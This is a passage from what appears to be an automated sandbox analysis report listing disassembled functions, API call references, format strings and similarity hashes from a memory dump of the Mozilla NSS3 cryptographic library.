Part of subcall function 6CA24C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24CB0
Part of subcall function 6CA24C70: PR_Unlock.NSS3(?,?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CAEED52
PR_CallOnce.NSS3(6CC02AA4,6CB012D0), ref: 6CAEED83
PL_FreeArenaPool.NSS3(?), ref: 6CAEED95
PL_FinishArenaPool.NSS3(?), ref: 6CAEED9D

Part of subcall function 6CB064F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CB0127C,00000000,00000000,00000000), ref: 6CB0650E

Strings

security, xrefs: 6CAEED06

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 36a962eb9e9bfe605d343b1812de595d7ce4e9a4562417f21a5a465c7a16df63
Instruction ID: 5b276ea1c14c9e43f1cd6b9b062582d639c1eeff9b7acd72d553797b0bfe9232
Opcode Fuzzy Hash: 36a962eb9e9bfe605d343b1812de595d7ce4e9a4562417f21a5a465c7a16df63
Instruction Fuzzy Hash: 6F116636B002446BE7105725AC81BBF7678AF0571CF090528FC1463E81FB25A6CCEAE6

Function 6CAD2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CAD2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CAD2D07

Part of subcall function 6CBB09D0: PR_Now.NSS3 ref: 6CBB0A22
Part of subcall function 6CBB09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBB0A35
Part of subcall function 6CBB09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBB0A66
Part of subcall function 6CBB09D0: PR_GetCurrentThread.NSS3 ref: 6CBB0A70
Part of subcall function 6CBB09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBB0A9D
Part of subcall function 6CBB09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBB0AC8
Part of subcall function 6CBB09D0: PR_vsmprintf.NSS3(?,?), ref: 6CBB0AE8
Part of subcall function 6CBB09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBB0B19
Part of subcall function 6CBB09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBB0B48
Part of subcall function 6CBB09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBB0C76
Part of subcall function 6CBB09D0: PR_LogFlush.NSS3 ref: 6CBB0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CAD2D22

Part of subcall function 6CBB09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBB0B88
Part of subcall function 6CBB09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBB0C5D
Part of subcall function 6CBB09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CBB0C8D
Part of subcall function 6CBB09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBB0C9C
Part of subcall function 6CBB09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBB0CD1
Part of subcall function 6CBB09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CBB0CEC
Part of subcall function 6CBB09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBB0CFB
Part of subcall function 6CBB09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBB0D16
Part of subcall function 6CBB09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CBB0D26
Part of subcall function 6CBB09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBB0D35
Part of subcall function 6CBB09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CBB0D65
Part of subcall function 6CBB09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CBB0D70
Part of subcall function 6CBB09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBB0D90
Part of subcall function 6CBB09D0: free.MOZGLUE(00000000), ref: 6CBB0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CAD2D3B

Part of subcall function 6CBB09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CBB0BAB
Part of subcall function 6CBB09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBB0BBA
Part of subcall function 6CBB09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBB0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CAD2D54

Part of subcall function 6CBB09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBB0BCB
Part of subcall function 6CBB09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBB0BDE
Part of subcall function 6CBB09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBB0C16

Strings

pPin = 0x%p, xrefs: 6CAD2D1D
slotID = 0x%x, xrefs: 6CAD2D02
ulPinLen = %d, xrefs: 6CAD2D36
C_InitToken, xrefs: 6CAD2CE7
pLabel = 0x%p, xrefs: 6CAD2D4F

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 0cca55cdaa8f2f1f18f8b90e765178d8066e33b633d024640131d566d1386706
Instruction ID: 73f128a47aea034425b4d6f9f32df3950b453b900dfce750c23f47ddf01b3ade
Opcode Fuzzy Hash: 0cca55cdaa8f2f1f18f8b90e765178d8066e33b633d024640131d566d1386706
Instruction Fuzzy Hash: 6321DD75300185EFEB009F54DE5CA993BB1EB4631DF474118E54497622DB32DC89CB71

Function 6CBB0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CA92357), ref: 6CBB0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CA92357), ref: 6CBB0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CBB0EE6

Part of subcall function 6CBB09D0: PR_Now.NSS3 ref: 6CBB0A22
Part of subcall function 6CBB09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBB0A35
Part of subcall function 6CBB09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBB0A66
Part of subcall function 6CBB09D0: PR_GetCurrentThread.NSS3 ref: 6CBB0A70
Part of subcall function 6CBB09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBB0A9D
Part of subcall function 6CBB09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBB0AC8
Part of subcall function 6CBB09D0: PR_vsmprintf.NSS3(?,?), ref: 6CBB0AE8
Part of subcall function 6CBB09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBB0B19
Part of subcall function 6CBB09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBB0B48
Part of subcall function 6CBB09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBB0C76
Part of subcall function 6CBB09D0: PR_LogFlush.NSS3 ref: 6CBB0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CBB0EFA

Part of subcall function 6CA9AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CA9AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBB0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBB0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBB0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBB0F2B

Strings

Aborting, xrefs: 6CBB0EB3
Assertion failure: %s, at %s:%d, xrefs: 6CBB0ED9, 6CBB0EE5, 6CBB0F06, 6CBB0F0B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 8e7784d25078a518789045ecc5a535734b807f853e5c134558a887de7f95459a
Instruction ID: 527920eb08dd25d502c9fba747a2cd9e27c9a398d35a7c6ed6fa69e14de1e73f
Opcode Fuzzy Hash: 8e7784d25078a518789045ecc5a535734b807f853e5c134558a887de7f95459a
Instruction Fuzzy Hash: A7F0A4F99001687BEA107B60AC4ACAF3E3DDF46764F004024FD1957702DA35ED5896B2

Function 6CB14DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CB14DCB

Part of subcall function 6CB00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CAA87ED,00000800,6CA9EF74,00000000), ref: 6CB01000
Part of subcall function 6CB00FF0: PR_NewLock.NSS3(?,00000800,6CA9EF74,00000000), ref: 6CB01016
Part of subcall function 6CB00FF0: PL_InitArenaPool.NSS3(00000000,security,6CAA87ED,00000008,?,00000800,6CA9EF74,00000000), ref: 6CB0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CB14DE1

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CB14DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB14E59

Part of subcall function 6CAFFAB0: free.MOZGLUE(?,-00000001,?,?,6CA9F673,00000000,00000000), ref: 6CAFFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBD300C,00000000), ref: 6CB14EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CB14EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CB14F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB1521A

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: d6c5f25e18362c44298777639aa95de8e0d930688cd1590a25cbad1b0b5b378a
Instruction ID: 9f9688f1bfab67b49d5513f408af4245df3187c63ad285e2c826c6eda4fe4ba7
Opcode Fuzzy Hash: d6c5f25e18362c44298777639aa95de8e0d930688cd1590a25cbad1b0b5b378a
Instruction Fuzzy Hash: 80F199B1E082498FDB08CF54D8407AEB7B2FF49318F254129E815ABB81E735E985CF91

Function 6CB10C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CB12C2A), ref: 6CB10C81

Part of subcall function 6CAFBE30: SECOID_FindOID_Util.NSS3(6CAB311B,00000000,?,6CAB311B,?), ref: 6CAFBE44

Part of subcall function 6CAE8500: SECOID_GetAlgorithmTag_Util.NSS3(6CAE95DC,00000000,00000000,00000000,?,6CAE95DC,00000000,00000000,?,6CAC7F4A,00000000,?,00000000,00000000), ref: 6CAE8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB10CC4

Part of subcall function 6CAFFAB0: free.MOZGLUE(?,-00000001,?,?,6CA9F673,00000000,00000000), ref: 6CAFFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CB10CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CB10D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CB10D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CB10D7D
free.MOZGLUE(00000000), ref: 6CB10DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB10DC1
free.MOZGLUE(00000000), ref: 6CB10DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB10E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CB10E0F

Part of subcall function 6CAE95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CAC7F4A,00000000,?,00000000,00000000), ref: 6CAE95E0
Part of subcall function 6CAE95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CAC7F4A,00000000,?,00000000,00000000), ref: 6CAE95F5
Part of subcall function 6CAE95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CAE9609
Part of subcall function 6CAE95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAE961D
Part of subcall function 6CAE95C0: PK11_GetInternalSlot.NSS3 ref: 6CAE970B
Part of subcall function 6CAE95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CAE9756
Part of subcall function 6CAE95C0: PK11_GetIVLength.NSS3(?), ref: 6CAE9767
Part of subcall function 6CAE95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CAE977E
Part of subcall function 6CAE95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAE978E

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 6de5e526c59e84cd95f9c2a46a523616c7c9e96238c67572fd7c1bdf21c7e9eb
Instruction ID: abbac47f046279a87c77a5ac322c7976b3e758c5e4d1704136df62eb84f5dd52
Opcode Fuzzy Hash: 6de5e526c59e84cd95f9c2a46a523616c7c9e96238c67572fd7c1bdf21c7e9eb
Instruction Fuzzy Hash: EB41C5B1900299ABEB009F64ED45BEF7A74EF0530CF140128ED1557B41E735EA68CBE2

Function 6CAA4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CBF0148,?,6CAB6FEC), ref: 6CAA502A
PR_NewLock.NSS3(00000001,00000000,6CBF0148,?,6CAB6FEC), ref: 6CAA5034
PL_NewHashTable.NSS3(00000000,6CAFFE80,6CAFFD30,6CB4C350,00000000,00000000,00000001,00000000,6CBF0148,?,6CAB6FEC), ref: 6CAA5055
PL_NewHashTable.NSS3(00000000,6CAFFE80,6CAFFD30,6CB4C350,00000000,00000000,?,00000001,00000000,6CBF0148,?,6CAB6FEC), ref: 6CAA506D

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 0a4da2eb3e5ec4f2401c7264797210ca9c92c91c67ce3d28c1f827f96a19f715
Instruction ID: d852bfca7429db9210cc4e8cea5e9c1f06999703cf06f05dcbc8d19de76299f6
Opcode Fuzzy Hash: 0a4da2eb3e5ec4f2401c7264797210ca9c92c91c67ce3d28c1f827f96a19f715
Instruction Fuzzy Hash: C1311AB1B016105BEB109BA6C89C75777B8971770CF06411DEA14C3B41D3B6CC89DBE4

Function 6CA42E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA42F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CA42FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CA43005
memcpy.VCRUNTIME140(?,?,?), ref: 6CA430EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA43131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA43178

Strings

database corruption, xrefs: 6CA4316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA43022, 6CA43156, 6CA43162, 6CA4318A, 6CA43196, 6CA431A2, 6CA431AE, 6CA431BA, 6CA431C6
%s at line %d of [%.10s], xrefs: 6CA43171

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: c347b5c012d87a3547c83e512446f66dba56aad0387003201ab6daeaeb21461a
Instruction ID: 1cde1f2d14a0a4731accfc27bc608dc159e6f0f9c20934c7be121fbae42ac481
Opcode Fuzzy Hash: c347b5c012d87a3547c83e512446f66dba56aad0387003201ab6daeaeb21461a
Instruction Fuzzy Hash: 89B17D70E06215DBDF18CF9DC885AEEB7B1BF48304F288169E845B7B41D7759981CBA0

Function 6CB17F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CB17FB2

Part of subcall function 6CA9BA40: TlsGetValue.KERNEL32 ref: 6CA9BA51
Part of subcall function 6CA9BA40: TlsGetValue.KERNEL32 ref: 6CA9BA6B
Part of subcall function 6CA9BA40: EnterCriticalSection.KERNEL32 ref: 6CA9BA83
Part of subcall function 6CA9BA40: TlsGetValue.KERNEL32 ref: 6CA9BAA1
Part of subcall function 6CA9BA40: _PR_MD_UNLOCK.NSS3 ref: 6CA9BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CB17FD4

Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690AB
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690C9
Part of subcall function 6CB69090: EnterCriticalSection.KERNEL32 ref: 6CB690E5
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB69116
Part of subcall function 6CB69090: LeaveCriticalSection.KERNEL32 ref: 6CB6913F

Part of subcall function 6CB19430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CB19466

PR_ExitMonitor.NSS3(?), ref: 6CB1801B
PR_EnterMonitor.NSS3(?), ref: 6CB18034
TlsGetValue.KERNEL32 ref: 6CB180A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB180C0
PR_ExitMonitor.NSS3(?), ref: 6CB1811C
PR_ExitMonitor.NSS3(?), ref: 6CB18134

Strings

), xrefs: 6CB180DB

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 7cc95cf7c8363e7c7ad3a29c64c1d6af471b8505e0fd816dbbcd1440dbea14d9
Instruction ID: 0cd8a88832acf82eb9911cadd0559215339ed415dec706f8c74aff87766afd06
Opcode Fuzzy Hash: 7cc95cf7c8363e7c7ad3a29c64c1d6af471b8505e0fd816dbbcd1440dbea14d9
Instruction Fuzzy Hash: 43514372A087888BEB218B35DC057AB77B4FF5631CF09052ADD5993E41E732A618C682

Function 6CABFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CABFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CABFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CABFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CABFD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CABFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CABFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CABFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CABFD84

Strings

:, xrefs: 6CABFD78

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 8177d30c13a45db4c055cd313905867a930f06b0904c2cdca5161def04d8cdb9
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 2931CDBE9002459BEB008AA9DC057AF77ACAB5131CF1D0529DC14B7B10E772EA98C7D2

Function 6CAD6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CAD6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAD6C94
